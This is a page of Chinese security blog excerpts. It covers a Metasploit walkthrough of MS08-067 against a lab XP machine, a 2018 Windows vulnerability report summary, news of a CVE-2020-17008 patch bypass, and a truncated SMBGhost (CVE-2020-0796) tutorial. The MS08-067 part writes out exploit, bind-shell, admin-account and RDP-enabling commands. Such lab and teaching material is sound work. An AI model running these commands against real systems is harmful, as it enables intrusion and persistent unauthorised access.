精华内容
下载资源
问答
  • 摘要:详细讲解MS08-067远程代码执行漏洞(CVE-2008-4250)及防御过程
    摘要:详细讲解MS08-067远程代码执行漏洞(CVE-2008-4250)及防御过程

    本文分享自华为云社区《Windows漏洞利用之MS08-067远程代码执行漏洞复现及深度防御》,作者:eastmount 。

    一.漏洞描述

    MS08-067漏洞全称是“Windows Server服务RPC请求缓冲区溢出漏洞”,攻击者利用受害者主机默认开放的SMB服务端口445,发送特殊RPC(Remote Procedure Call,远程过程调用)请求,造成栈缓冲区内存错误,从而被利用实施远程代码执行。

    当用户在受影响的系统上收到RPC请求时,该漏洞会允许远程执行代码,攻击者可以在未经身份验证情况下利用此漏洞运行任意代码。同时,该漏洞可以用于蠕虫攻击。它影响了某些旧版本的Windows系统,包括:

    • Windows 2000
    • Windows XP
    • Windows Server 2003

    漏洞原理:

    MS08-067漏洞是通过MSRPC over SMB通道调用Server程序中的NEtPathCanonicalize函数时触发的。NetPathCanonicalize函数在远程访问其他主机时,会调用NetpwPathCanonicalize函数,对远程访问的路径进行规范化,而在NetpwPathCanonicalize函数中发生了栈缓冲区内存错误(溢出),造成可被利用实施远程代码执行(Remote Code Execution)。后续部分我将分析该漏洞的CFG流程图及漏洞成因。

    本文参考了很多大佬的文章,再次感谢他们。实验部分是结合自己的实践和经验讲解,如果存在错误或不足之处,也请批评和指正。

    二.环境搭建

    1.环境准备

    • 受害机:Windows XP SP1镜像
    • 攻击机:Kali系统

    第一步,在虚拟机中安装Windows XP SP1系统和Kali系统。

    第二步,虚拟机两个系统之间能够相互通信。

    • Kali:192.168.44.136
    • Win XP:192.168.44.135

    第三步,打开Windows XP系统,确定445端口开启。如下图所示,在Win XP的CMD中输入“netstat -sn”查看端口445是否打开。

    第四步,关闭Windows XP系统的防火墙。

    做完这些初始准备之后,我们开始利用Kali系统进行漏洞复现。

    2.端口详解

    这里作者补充一些端口的基础知识,更有利于我们进行Web渗透实验。

    (1) 端口作用

    我们知道,一台拥有IP地址的主机可以提供许多服务,比如Web服务、FTP服务、SMTP服务等,这些服务完全可以通过1个IP地址来实现。那么,主机是怎么区分不同的网络服务呢?显然不能只靠IP地址,因为IP地址与网络服务的关系是一对多的关系,实际上是通过“IP地址+端口号”来区分不同的服务的。

    需要注意的是,端口并不是一一对应的。比如你的电脑作为客户机访问一台WWW服务器时,WWW服务器使用“80”端口与你的电脑通信,但你的电脑则可能使用“3456”这样的端口。如下图所示:

    (2) 端口的分类

    端口共1-65535号,知名端口范围从0到1023,这些端口号一般固定分配给一些服务,大家尽量不要使用。比如21端口分配给FTP服务,25端号分配给SMTP邮件传输协议服务,80端口分配给HTTP服务,135端口分配给RPC远程过程调用服务等等。

    动态端口的范围从1024到65535,这些端口号一般不固定分配给某个服务,也就是说许多服务都可以使用这些端口。只要运行的程序向系统提出访问网络的申请,那么系统就可以从这些端口号中分配一个供该程序使用。比如1024端口就是分配给第一个向系统发出申请的程序,在关闭程序进程后,就会释放所占用的端口号。注意,端口冲突就不能正常工作。

    同时,动态端口号也常常被病毒木马程序所利用,如冰河默认连接端口号是7626、WAY 2.4连接端口号是8011、Netspy 3.0连接端口号是7306、YAI病毒连接端口号是1024等等。

    (3) 常见的端口

    (4) 黑客通过端口可以干什么

    • 信息收集
    • 目标探测
    • 服务判断
    • 系统判断
    • 角色分析

    (5) 445端口

    谢公子大佬在 “135、137、138、139和445端口” 文章中介绍过这些端口,它们都是与文件共享和打印机共享有关的端口,而且在这几个端口上经常爆发很严重的漏洞。比如2017年危害全球的永恒之蓝,就是利用的445端口。

    本篇文章的445端口就是利用SMB(Server Message Block)Windows协议族,用于文件共享、打印共享的服务。445端口是一个毁誉参半的端口,有了它我们可以在局域网中轻松访问各种共享文件夹或共享打印机,但也正是因为有了它,黑客们才有了可乘之机,他们能通过该端口偷偷共享你的硬盘,甚至会在悄无声息中将你的硬盘格式化掉!

    总之,公开服务器打开139和445端口是一件非常危险的事情。 如果有Guest帐号,而且没有设置任何密码时,就能够被人通过因特网轻松地盗看文件。如果给该帐号设置了写入权限,甚至可以轻松地篡改文件。也就是说在对外部公开的服务器中不应该打开这些端口。通过因特网使用文件服务器就等同自杀行为,因此一定要关闭139和445端口。对于利用ADSL永久性接入因特网的客户端机器可以说也是如此。

    三.利用Metasploit复现漏洞

    • 攻击机:Kali - 192.168.44.136
    • 受害机:Win XP - 192.168.44.135

    第一步,利用Nmap工具扫描端口及确认该漏洞是否存在。

    nmap -n -p 445 --script smb-vuln-ms08-067 192.168.44.135 --open

    nmap漏扫脚本目录为“/usr/share/nmap/script/”,如下图所示,扫描结果为VULNERABLE,表示MS0808-067漏洞存在且可以利用。

    或者使用 “nmap -sV -Pn 192.168.44.135” 查看目标主机开放的端口。目标机开放了135、139、445、1025、5000端口,且目标机系统为Windows XP。作为黑客,一看到XP或2003系统的445端口开放,我们就能想到轰动一时的MS08-067。

    nmap  -sV -Pn 192.168.44.135

    第二步,进入Msfconsole并利用search语句查找漏洞利用模块。

    终端内输入msfconsole打开metasploite命令行客户端,使用search命令查找ms08-067的漏洞利用模块。

    msfconsole
    search ms08-067

    第三步,进入漏洞模块,并查看相关的使用说明。

    使用use命令选择我们要使用的利用模块。target设置为系统默认是自动定位,如果需要精确定位,可以show targets查看所有,然后进行选择。

    use exploit/windows/smb/ms08_067_netapi
    show options
    show targets

    第四步,设置攻击机、受害机信息。

    # 目标机ip
    set RHOST 192.168.44.135
    # 端口号
    set RPORT 445
    # 设置payload
    set payload generic/shell_bind_tcp
    # 攻击机ip
    set LHOST 192.168.44.136
    # 设置自动类型
    set target 0
    # 显示配置信息
    show options

    第五步,运行exploit反弹shell。

    此时我们成功获取了Windows XP系统的Shell,我们调用“ipconfig”查看的IP地址也是目标的“192.168.44.135”。

    exploit
    session 1
    ipconfig
    pwd

    注意:Windows XP SP1系统是中文而不是英文的,需要对ms08_067_netapi_ser2003_zh.rb处理。

    • 参考:MS08-067 远程执行代码 漏洞复现 - feizianquan

    第六步,在目标主机上创建文件夹及文件。

    cd ..
    # 创建文件夹
    mkdir hacker
    # 访问目录
    dir
    cd hacker
    # 创建文件并写入内容
    echo eastmount>test.txt
    # 查看目标系统的基本信息
    sysinfo

    显示结果下图所示:

    第七步,对目标XP主机进行深度提权。

    # 增加普通用户
    net user hacker 123456 /add 
    # 提升管理员权限
    net localgroup administrators hacker /add

    Windows DOM用户常用命令如下:

    • net user abcd 1234 /add
      新建一个用户名为abcd,密码为1234的帐户,默认为user组成员
    • net user abcd /del
      将用户名为abcd的用户删除
    • net user abcd /active:no
      将用户名为abcd的用户禁用
    • net user abcd /active:yes
      激活用户名为abcd的用户
    • net user abcd
      查看用户名为abcd的用户的情况
    • net localgroup administrators abcd /add
      将abcd账户给予管理员权限

    此时被攻击的主机新增“hacker”管理员如下图所示:

    第八步,开启远程连接3389端口并进行远程操作。

    # 开启远程连接
    echo reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f > C:\WINDOWS\system32\3389.bat && call 3389.bat
    # 查看网络端口
    netstat -an
    # 远程连接
    rdesktop 192.168.44.135

    首先查看端口,发现目标主机Windows XP并未开启3389端口。

    输入命令开启远程连接端口。

    接着输入“rdesktop 192.168.44.135”连接远程IP地址,并输入我们创建好的hacker用户名及密码。

    输入创建的用户名hacker和密码123456回车,弹出提示框点击OK,稍等就会成功远程登录XP系统。

    最后,我们还需要将新建的用户名hacker删除。写到这里,整个实验就讲解完毕。

    四.常见错误及漏洞原因分析

    1.常见错误

    我们在运行exploit执行漏洞利用模块时,有时会有相关错误。比如一直提示“exploit completed,but no session was created”或“ConnectionRefused the connection was refused by the remote host”。需要注意:

    • Windows XP系统关闭防火墙
    • 漏洞不稳定多尝试几次

    有时XP系统会提示“Generic Host Process for win32 services”错误。这是svchost.exe错误,内存溢出造成。

    最终作者解决了XP系统无法提权的问题,在调用“show payloads”设置攻击载荷时,当我采用“set payload generic/shell_reverse_tcp”就会报错,最后我将Payload修改为“set payload generic/shell_bind_tcp”。

    • 反弹shell失败:set payload generic/shell_reverse_tcp
    • 反弹shell成功:set payload generic/shell_bind_tcp

    如果仍然失败,可能需要换其他XP或2003系统进行尝试。祝好运~

    2.漏洞成因

    如果想了解该漏洞的原理知识,推荐以下三篇文章,后续作者也需要深入去分析各种漏洞的原代码。

    MS08-067漏洞是通过MSRPC over SMB通道调用Server服务程序中的NetPathCanonicalize函数时触发的,而NetPathCanonicalize函数在远程访问其他主机时,会调用NetpwPathCanonicalize函数,对远程访问的路径进行规范化,而在NetpwPathCanonicalize函数中发生了栈缓冲区内存错误,造成可被利用实施远程代码执行。

    所谓路径规范化,就是将路径字符串中的【/】转换为【\】,同时去除相对路径【.\】和【..\】。如:
    **/*/./**   =>  **\*\**
    **\*\..\**  =>  **\**

    在路径规范化的操作中,服务程序对路径字符串的地址空间检查存在逻辑漏洞。攻击者通过精心设计输入路径,可以在函数去除【…\】字符串时,把路径字符串中内容复制到路径串之前的地址空间中(低地址),达到覆盖函数返回地址,执行任意代码的目的。

    这里通过IDA Pro打开c:\windows\system32\netapi32.dll,找到漏洞所在的NetpwPathCanonicalize函数并双击。通过观察其流程图CFG可知,此函数并没有直接进行输入路径和规范化,而是调用了下级函数CanonicalizePathName来进行路径整理,将待整理的路径字符串进行规范化,然后再保存到预先分配的输出路径缓冲区buffer中,最终造成缓冲区溢出漏洞。

    五.总结

    写到这里,这篇文章就介绍结束了,通过本次实验我们复现了MS08-067远程代码执行漏洞,涉及漏洞发现、验证漏洞、利用漏洞的完整过程,并利用Metasploit工具进行shell反弹及深入理解,希望对您有所帮助。如何进行防御呢?一方面关闭相关端口、安装杀毒软件和补丁,另一方面在防火墙中进行流量监测,主要是针对数据包中存在的形如"\ ** \ … \ … \ *"这样的恶意路径名进行检测,最为保险的方法是使用pcre正则去匹配。

    本次实验的完整命令:

    # 端口查询
    nmap -n -p 445 --script smb-vuln-ms08-067 192.168.44.135 --open
    
    # 查找漏洞利用模块
    msfconsole
    search ms08-067
    
    # 漏洞利用
    use exploit/windows/smb/ms08_067_netapi
    show options
    show targets
    
    # 设置相关配置信息
    set RHOST 192.168.44.135
    set RPORT 445
    set payload generic/shell_bind_tcp
    set LHOST 192.168.44.136
    set target 0
    show options
    
    # 反弹shell
    exploit
    session 1
    ipconfig
    pwd
    
    # 目标主机文件操作
    cd ..
    mkdir hacker
    dir
    cd hacker
    echo eastmount>test.txt
    sysinfo
    
    # 深度提权及远程连接操作
    net user hacker 123456 /add 
    net localgroup administrators hacker /add
    echo reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f > C:\WINDOWS\system32\3389.bat && call 3389.bat
    netstat -an
    rdesktop 192.168.44.135

    点击关注,第一时间了解华为云新鲜技术~

    展开全文
  • 参考:《2018年Windows平台漏洞年度报告》 什么是漏洞漏洞是在硬软件,协议的具体实现或系统安全策略上存在的缺陷,从而可以使攻击者能够在未授权的情况下访问或破坏系统。例如OpenSSL心脏出血漏洞,Badlock ...

    参考:《2018年Windows平台漏洞年度报告》

                  《burpsuite安全工具使用教程

                 

    一.什么是漏洞?

    漏洞是在硬软件,协议的具体实现或系统安全策略上存在的缺陷,从而可以使攻击者能够在未授权的情况下访问或破坏系统。例如OpenSSL心脏出血漏洞,Badlock Bug,Stagefright等。

    二.漏洞危害:

    从小方面来讲,漏洞曝光后被不法使用会危害个人用户的隐私安全与财产安全。从大方面来讲,一些漏洞就是在网络方面的战略武器。(所以有自己国家的设备系统,芯片等真的很重要。国外有很多先例,我们可以作参考,但核心的东西必须自己有)

    三.具体

    这里我们拿2018年的数据来看。18年末,19年初,腾讯公开了《2018年Windows平台漏洞年度报告》对windows系统2018年发生的一些重大安全漏洞事件,重点分析Windows平台的漏洞攻击态势,并针对个人和企业漏洞防护提出合理化建议。

    四.windows漏洞数达到新高度,win10影响最大

    windows系统是由全球著名软件开发商微微软(软微型计算机软件公司Microsoft)开发的,作为微软旗下的招牌产品,微软也对其产品的安全性投入了巨大成本。windows系统目前应用很广,最新系统是windows11,单单从2018年及以前的数据来看,2018年共计发布了874个补丁,修复了728个漏洞,平均每月修复多达60个漏洞。在过去的几十年里Windows操作系统的漏洞提交数量呈逐年上涨趋势,2017年后呈暴涨趋势。根据《2018年Windows平台漏洞年度报告》显示:相比过去三年,2018年的安全漏洞提交数量同比上升超过40%,安全漏洞的数量和严重性都创下历史新高。这是《2018年Windows平台漏洞年度报告》里的统计图。

     (图:Windows历年漏洞提交量)

    由此可见,随着windows用户越来越多,各种硬软件漏洞也层出不穷,微软也在对windows不断升级,不断做好安全保障(方式很多,补丁管理就是网络安全最基础的一环,基本上每月都会发布补丁修复安全漏洞。)2018年微软共为其产品 (Windows,IE/Edge,office等 ) 发布了874个补丁,修复了728个漏洞,平均每月修复多达60个漏洞。

     (图:2018年Windows安全公告数量)

    官方保障产品安全性的措施在一定程度抑制了部分漏洞的恶意攻击,但并没有阻止更多漏洞的出现。

    在所有漏洞影响的Windows产品中,Windows系统组件漏洞、浏览器漏洞、Office漏洞位居前三,占比分别为35%、25%、17%;从2018年Windows漏洞影响的产品分布情况来看,Office和Adobe被曝光的漏洞相对较少,但漏洞利用比例很高。对此,《报告》认为,不法黑客挑选漏洞攻击时,会优先考虑漏洞利用的成本,并参考其攻击目标人群与产品用户的重合度,与产品本身漏洞量并无直接关系。

    (图:2018年漏洞影响的Windows系统版本分布)

    由上图见得2018年受漏洞影响最严重的是windows10系统,占总比高达40%,远高于占比第二的14%。那么为什么win10受影响最重呢? 简单来看有以下两个原因:

                         1.windows10成为主流系统,用户基数极大,使用群体广。据微软官方公布,截至2019年底,全球windows10用户达到10亿(当时全球PC用户大约20亿)。

                        2.windows10系统代替windows7系统,企业及个人用户忽视其漏洞风险。未做好更新工作。

    腾讯安全技术专家表示,Windows 10成为当前主流操作系统的同时,漏洞曝光量也逐渐增多,企业及个人用户不可忽视其漏洞风险,建议每月及时安装更新是防范不法黑客入侵的必要步骤。

    五.国内用户受攻击量top地区

    针对windows10系统漏洞利用攻击企业,个人的事件从未停止。在我国用户中,受攻击量最大的几个地区如下

    (图:漏洞攻击量TOP地区)

     《2018年Windows平台漏洞年度报告》指出,2018年漏洞攻击地区分布与当地经济水平及信息化普及程度相关,北京、上海、广州是不法黑客首选的攻击目标。而从行业来看,Windows操作系统的高危漏洞在教育、政府、卫生医疗行业的分布占比最高,分别为29%、26%、11%。从受攻击量的对比数据看,政府、教育、医疗卫生行业因其系统存在大量高危漏洞未及时修复,所受攻击次数也相对较高。值得一提的是,科技行业虽然漏洞存在量相对较少,受攻击量却是最高,窃取机密往往是攻击者首选目的。

    在2018国内用户整体漏洞修复情况中,Windows漏洞和.NET漏洞修复率达到70%以上,其次是IE、Flash和Office漏洞修复率保持在60%左右。事实说明,整体漏洞修复率偏低反映出当前国内的个人用户信息安全意识亟待提升。对此,《报告》建议,普通用户务必提高计算机网络安全意识,不要轻易下载不明软件程序,及时备份重要的数据。

    六.国内外漏洞安全事件频发 新老漏洞持续升级

    伴随着互联网和信息技术应用的高速发展,以智能合约、人工智能为代表的新兴科技为市场发展添加了不竭动力。与此同时,安全问题也如影随形,成为产业互联网发展的一个痛点。目前,全球各领域漏洞提交数量持续上涨,而0day漏洞正变得愈发常见。

    事实上,利益至上的不法黑客,对易用又稳定的漏洞可谓是爱不释手,典型的当属“永恒之蓝”系列漏洞。自2017年被曝以来,“永恒之蓝”系列漏洞频繁被利用获取系统最高权限,将病毒木马等恶意软件植入Windows系统。

    2018年3月,腾讯安全御见威胁情报中心监测发现,WannaMiner挖矿木马利用 “永恒之蓝”漏洞在局域网内传播,将染毒机器打造成庞大的僵尸网络,长期潜伏挖矿,致使国内600多家企业超3万台电脑遭感染。除此以外,不法黑客还利用“永恒之蓝”漏洞主动传播的蠕虫式勒索病毒,开启了以“WannaCry”为代表的勒索病毒时代。

    除老漏洞被反复利用以外,0day新漏洞也层出不穷。《报告》指出,Windows平台在半年内被连续爆出10枚0day漏洞,7枚已发现野外利用,而其中有6枚在被发现的短短几天时间内,就迅速被APT组织利用于盗窃企业、政府机构的机密信息。以“双杀”0day漏洞为例,2018年4月18日,首个IE“双杀”系列漏洞CVE-2018-8174的在野攻击样本被发现,DarkHotel(黑店)APT组织利用“双杀”0day高危漏洞针对企事业单位进行定向攻击,窃取国家机密。

    同时,英特尔CPU“新一代幽灵”漏洞持续升级、Office公式编辑器再曝栈溢出漏洞等问题引发的安全事件同样也值得关注。另外《报告》预测,未来几年,鱼叉攻击结合Office公式编辑器漏洞,仍然会是成为针对中小型企业的攻击手段之一。

    七.简述2021漏洞攻击教程

    1.如何寻找漏洞(表达能力有限,具体找大佬细解)

          方式一:使用漏洞扫描工具,这里我推荐Burpsuite

    Scan queue扫描队列,包含了扫描进度Live scanning,扫描配置,分为主动扫描,自动探测浏览的目标页面,默认为不扫描,可以选择设定的目标域,也可以重新自定义目标域

    被动扫描,默认扫描设置代理后浏览的页面

    Issue definitions查看支持的漏洞扫描,显示漏洞名称、漏洞分级

    Options设置探测位置,设定静态代码分析,主动扫描漏洞


    针对存在漏洞的web系统进行主动扫描,分析漏洞,并导出漏洞报告。
    在sitemap中选择网站地址,选择主动扫描,主动扫描设置,这时可查看扫描结果,扫描完成后,可导出漏洞报告,在sitemap中点击扫描的网站,右键点击选择issues,导出报告,选择保存目录,查看html报告

            方式二:1是直接从代码上找 2是从程序(或其他)下手逆向分析 

    2.攻击方式:SQL注入,XSS(CSS),挂马。(具体以后可能会讲

    八.防护

    漏洞攻击离我们不近也不远。最简单的防护方式就是下载安全软件,定期扫描就好,毕竟太厉害的漏洞大概率不会出现在你的设备。

    “复杂”一点的方式有三种,针对SQL注入,XSS(CSS),挂马

    1.预防SQL注入:处理方法是账户最小权限原则。比如对用户输入的信息进行必要检查,或对一些特殊的字符进行过滤或转换,使用强数据类型(强类型指的是程序中表达的任何对象所从属的类型都必须能在编译时刻确定), 限制用户输入的长度等。

    2.预防XSS(CSS):对于XSS跨站攻击的防范分为对个人和对网站分别来讲。对于网站,坚决不要接受任何用户输入并过滤所有特殊字符,照这样做可以消灭绝大部分XSS攻击。 对于个人,保护自己的最好方法就是仅点击你想访问的那个网站上的链接。有时候XSS会在你打开电子邮件、打开附件、阅读留言板、阅读论坛时自动进行,当你打开电子邮件或是在公共论坛上阅读你不认识的人的帖子时一定要注意。最好的解决办法就是关闭浏览器的 Javascript 功能。在IE中可以将安全级别设置为最高,可以防cookie被盗。

    3.预防挂马:要防止网站被挂马,可以采取禁止写入和目录禁止执行的功能,这两项功能相组合,就可以有效地防止 ASP木马。此外,网站管理员通过FTP上传某些数据,维护网页时,尽量不安装asp的上传程序。这对于常被ASP木马影响的网站来说,会有一些帮助。当然是用专业的查杀木马工具也是不错的防护措施。

    有幸亲临过ISC 第七届互联网安全大会(旁听),后面不行了

    不进行非法活动,不害怕侵权。

    展开全文
  • 聚焦源代码安全,网罗国内外最新资讯!6月份,微软发布补丁,修复了 Windows 操作系统中当时已遭利用的 0day (CVE-2020-0986)。该漏洞可使攻击者在失陷机器上将权限...

     聚焦源代码安全,网罗国内外最新资讯!

    6月份,微软发布补丁,修复了 Windows 操作系统中当时已遭利用的 0day (CVE-2020-0986)。该漏洞可使攻击者在失陷机器上将权限提升至内核级别。但事实证明,该补丁仍可被绕过。谷歌研究人员发现了一种新的利用方法绕过该补丁并公开 PoC 代码。该漏洞新获得的 CVE 编号是 CVE-2020-17008。微软或于2021年1月补丁星期二修复。

    老洞新用

    当时,卡巴斯基实验室的研究人员发现,攻击者可结合利用尚为 0day 的CVE-2020-0986和 IE 浏览器中的0day,实现提升权限,进而远程执行代码。如今,谷歌 Project Zero 团队的安全研究员 Maddie Stone 发现,攻击者仍可通过发送一个偏移量而非指针的方式,触发CVE-2020-0986,提升至内核权限。

    Stone 指出,CVE-2020-0986 是一个任意指针解引用漏洞,可导致攻击者控制 memcpy 函数的 “src” 和 “dest” 指针。微软给出的补丁不正确的原因在于,它将指针修改为偏移量,因此该函数的参数仍可被控制。

    Stone 在博客文章中指出,“完整性较低的进程可以将 LPC 信息发送给 splwow64.exe(中等完整性)并在 splwow64 内存空间中获得 write-what-where 原语。攻击者控制该目标、复制的内容以及通过memcpy 调用复制的字节数。目标指针计算的偏移量仅限制为:

    Offset <= 0x7FFFFFFF
    Offset + perceived size of structure <= 0x7FFFFFFF
    

    Splwow64 将 LPC 信息传递给 GdiPrinterThunk。该易受攻击的 memcpy 位于信息 0x6D 中。

    CVE-2020-0986 和 CVE-2020-17008 的唯一不同之处在于,对于前者而言,攻击者发送了一个指针,而对于后者而言,攻击者发送的是一个偏移量。

    PoC

    为证明微软发布补丁后,利用仍然可能实现,Stone 发布了改自卡巴斯基实验室的 PoC 代码,同时还给出了如何正确运行 PoC 代码的指令。Stone 指出,PoC 所需要做的是两次触发该漏洞:“首先泄露存储信息并用于生成指针而添加的偏移量所在的堆地址,然后获得 write-what-where 原语。“

    完整 PoC 文件可见谷歌博客文章(见原文链接)。

    将于2021年1月发布补丁

    微软于9月24日收到谷歌提交的漏洞报告并在一天之后确认问题存在,分配编号 CVE-2020-17008。微软本计划于2020年11月发布补丁,但由于在测试阶段出现问题,因此将推迟到2020年1月12日补丁星期二发布。

    谷歌Project Zero 团队规定的漏洞披露期限为90天,且宽限期为14天。由于微软在1月6日之前无法提供补丁,因此这两个最后期限均不满足。

    另外,如 Stone 所言,攻击者过去已利用且非常熟悉该漏洞,因此如果修复方案不正确,会再次利用它。

    推荐阅读

    已遭利用的微软0day CVE-2020-1464,原来是两年前的老相识

    我偶然发现一个严重 0day,影响 Win7 和 Server 2008 R2,微软未发补丁(详情)

    原文链接

    https://www.bleepingcomputer.com/news/security/windows-zero-day-with-bad-patch-gets-new-public-exploit-code

    https://bugs.chromium.org/p/project-zero/issues/detail?id=2096

    题图:Pixabay License

    本文由奇安信代码卫士编译,不代表奇安信观点。转载请注明“转自奇安信代码卫士 https://codesafe.qianxin.com”。

    奇安信代码卫士 (codesafe)

    国内首个专注于软件开发安全的

    产品线。

        觉得不错,就点个 “在看” 或 "赞” 吧~

    展开全文
  • 系统安全系列作者将深入研究恶意样本分析、逆向分析、攻防实战和Windows漏洞利用等,通过在线笔记和实践操作的形式分享与博友们学习,希望能与您一起进步。前文介绍了MS08-067远程代码执行漏洞(CVE-2008-4250),它...

    您可能之前看到过我写的类似文章,为什么还要重复撰写呢?只是想更好地帮助初学者了解病毒逆向分析和系统安全,更加成体系且不破坏之前的系列。因此,我重新开设了这个专栏,准备系统整理和深入学习系统安全、逆向分析和恶意代码检测,“系统安全”系列文章会更加聚焦,更加系统,更加深入,也是作者的慢慢成长史。换专业确实挺难的,逆向分析也是块硬骨头,但我也试试,看看自己未来四年究竟能将它学到什么程度,漫漫长征路,偏向虎山行。享受过程,一起加油~

    系统安全系列作者将深入研究恶意样本分析、逆向分析、攻防实战和Windows漏洞利用等,通过在线笔记和实践操作的形式分享与博友们学习,希望能与您一起进步。前文介绍了MS08-067远程代码执行漏洞(CVE-2008-4250),它是Windows Server服务RPC请求缓冲区溢出漏洞,利用445端口。这篇文章将详细讲解SMBv3服务远程代码执行漏洞(CVE-2020-0796),攻击者可能利用此漏洞远程无需用户验证,通过发送构造特殊的恶意数据导致在目标系统上执行恶意代码,从而获取机器的完全控制,利用的端口仍是445。希望对入门的同学有帮助。

    话不多说,让我们开始新的征程吧!您的点赞、评论、收藏将是对我最大的支持,感恩安全路上一路前行,如果有写得不好的地方,可以联系我修改。基础性文章,希望对您有所帮助,作者的目的是与安全人共同进步,加油!也强烈推荐大家去看看参考文献的视频和书籍。

    作者的github资源:

    前文分析:

    声明:本人坚决反对利用教学方法进行犯罪的行为,一切犯罪行为必将受到严惩,绿色网络需要我们共同维护,更推荐大家了解它们背后的原理,更好地进行防护。


    一.漏洞描述

    基本描述:
    2020年3月11日,某国外安全公司发布了一个近期微软安全补丁包所涉及漏洞的综述,其中谈到了一个威胁等级被标记为Critical的SMB服务远程代码执行漏洞(CVE-2020-0796)。攻击者可能利用此漏洞远程无需用户验证通过发送构造特殊的恶意数据导致在目标系统上执行恶意代码,从而获取机器的完全控制。

    在这里插入图片描述

    微软SMBv3(Server Message Block 3.0)服务远程代码执行漏洞(CVE-2020-0796)可被攻击者利用,实现无须权限即可执行远程代码,受攻击的目标系统只需开机在线即可能被入侵。该漏洞后果十分接近永恒之蓝系列,存在被WannaCry等勒索蠕虫利用的可能,攻击者可以构造特定的网页、压缩包、共享目录、Office文档等多种方式触发漏洞进行攻击,对存在该漏洞的Windows主机造成严重威胁。


    目前奇安信息威胁情报中心红雨滴团队已经确认漏洞的存在,利用此漏洞可以稳定地导致系统崩溃,不排除执行任意代码的可能性,由于漏洞无需用户验证的特性,可能导致类似WannaCry攻击那样蠕虫式的传播。2020年3月12日微软发布了相应的安全补丁,强烈建议用户立即安装补丁以免受此漏洞导致的风险。2020年3月14日,已有可导致受影响系统蓝屏崩溃的漏洞利用POC在公开渠道发布,可以稳定地导致系统远程拒绝服务。

    3月22日奇安信代码安全团队发布了针对此漏洞的远程无损扫描器,可以帮助网络管理员快速地识别存在此漏洞的系统,欢迎使用。3月30日公开渠道出现利用此漏洞的本地提权利用代码,奇安信验证可用,本地攻击者可以利用漏洞从普通用户权限提升到系统权限。


    影响版本:
    该漏洞属于远程代码执行漏洞,漏洞主要影响Windows10的系统及应用版本(1903和1909),包括32位、64位的家用版、专业版、企业版、教育版。具体如下:

    • Windows 10 Version 1903 for 32-bit Systems
    • Windows 10 Version 1903 for ARM64-based Systems
    • Windows 10 Version 1903 for x64-based Systems
    • Windows 10 Version 1909 for 32-bit Systems
    • Windows 10 Version 1909 for ARM64-based Systems
    • Windows 10 Version 1909 for x64-based Systems
    • Windows Server, version 1903 (Server Core installation)
    • Windows Server, version 1909 (Server Core installation)

    在这里插入图片描述

    漏洞原理:
    在微软SMBv3远程代码执行漏洞中,SMB 3.1.1协议处理压缩消息时,对其中的数据没有经过安全检查,直接使用可能引发内存破坏漏洞,从而被攻击者利用远程执行任意代码。攻击者通过发送特殊构造的数据包触发漏洞,无需用户验证就可能控制目标系统,同时影响服务器与客户端系统。

    该漏洞存在于Windows的SMBv3.0(文件共享与打印服务)中,利用的端口是445。 当SMBv3.0处理恶意制作的压缩数据包时,由于SMB没有正确处理压缩的数据包,在解压数据包的时候使用客户端传过来的长度进行解压,并没有检查长度是否合法,最终导致整数溢出。远程未经认证的攻击者就可能利用此漏洞在应用程序的上下文中执行任意代码,系统受到非授权控制。

    漏洞利用:



    二.Win10本地提权

    第一个实验是利用CVE-2020-0796漏洞进行本地提取,攻击者利用该漏洞从普通用户权限提升到系统权限。实验代码采用C++实现,主要执行EXE程序。
    参考代码:https://github.com/danigargu/CVE-2020-0796

    1.开启445端口

    首先需要开启445端口。该端口和135、137、138、139、3389都是常见的高危端口,大家需要注意防御。作为安全初学者,如果指定端口都未开启或关闭,谈何后续的实验及防御呢?由于作者被该端口困扰了一段时间,所以简单分享一些基础知识,大佬勿喷~


    第一步,Windows查看某个端口是否开启。

    • telnet 127.0.0.1 455
      显示连接失败

    在这里插入图片描述

    • netstat -ano -p tcp | find “445” >nul 2>nul && echo 445端口已开启 || echo 445未开启
      445端口显示未开启,而3389端口显示已开启

    在这里插入图片描述

    • netstat -ano
      未显示TCP开启445端口

    在这里插入图片描述


    第二步,高级安全入站规则设置445端口允许。
    点击“防火墙”->“高级设置”。

    在这里插入图片描述

    设置“入站规则”->“新建规则”->“端口”设置。

    在这里插入图片描述

    设置TCP特定端口445,允许连接和应用所有规则。

    在这里插入图片描述

    在这里插入图片描述

    设置成功之后如下图所示,在测试445端口是否成功。此时仍然可能显示未开启。

    在这里插入图片描述


    第三步,注册表中新建SMBDeviceEnabled选项。
    在注册表中查看如下路径,发现没有SMBDeviceEnabled选项。

    计算机\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NetBT\Parameters

    在这里插入图片描述

    在右边空白处右击新建“QWORD(32位)值”,然后重命名为“SMBDeviceEnabled”。

    在这里插入图片描述

    再把这个子键的值改为1。但是作者的445端口仍然显示未开启,哎,自己真是菜得抠脚~

    在这里插入图片描述


    第四步,启用文件和打印机共享,开启Server服务。
    最终原因是Server服务未开启。Server支持计算机通过网络的文件、打印、和命名管道共享。如果服务停止,这些功能不可用。如果服务被禁用,任何直接依赖于此服务的服务将无法启动。

    “网络和共享中心”->“高级共享设置”。

    在这里插入图片描述

    在运行中输入“services.msc”打开服务,开启Server。

    在这里插入图片描述

    Server开启后终于成功打开445端口。

    在这里插入图片描述

    重启计算机显示445开启。

    在这里插入图片描述

    注意:实验完成之后建议关闭445端口,或立刻打补丁。



    2.SMBGhost漏洞扫描

    接着我们尝试用 “https://github.com/ollypwn/SMBGhost” 代码扫描是否存在该漏洞,Win10注意关闭防火墙。运行结果如下图所示,表示存在CVE-2020-0796漏洞。

    • python scanner.py 192.168.0.105
    • pip install netaddr 安装扩展包

    在这里插入图片描述

    扫描程序仅用于测试服务器是否易受攻击,它通过协商请求检查SMBv3.1.1协议和压缩功能,源代码如下所示。该漏洞主要是由于SMBv3协议在处理恶意的压缩数据包时出错所造成的,它可让远程且未经身份验证的攻击者在目标系统上执行任意代码。

    scanner.py

    import socket
    import struct
    import sys
    from netaddr import IPNetwork
    
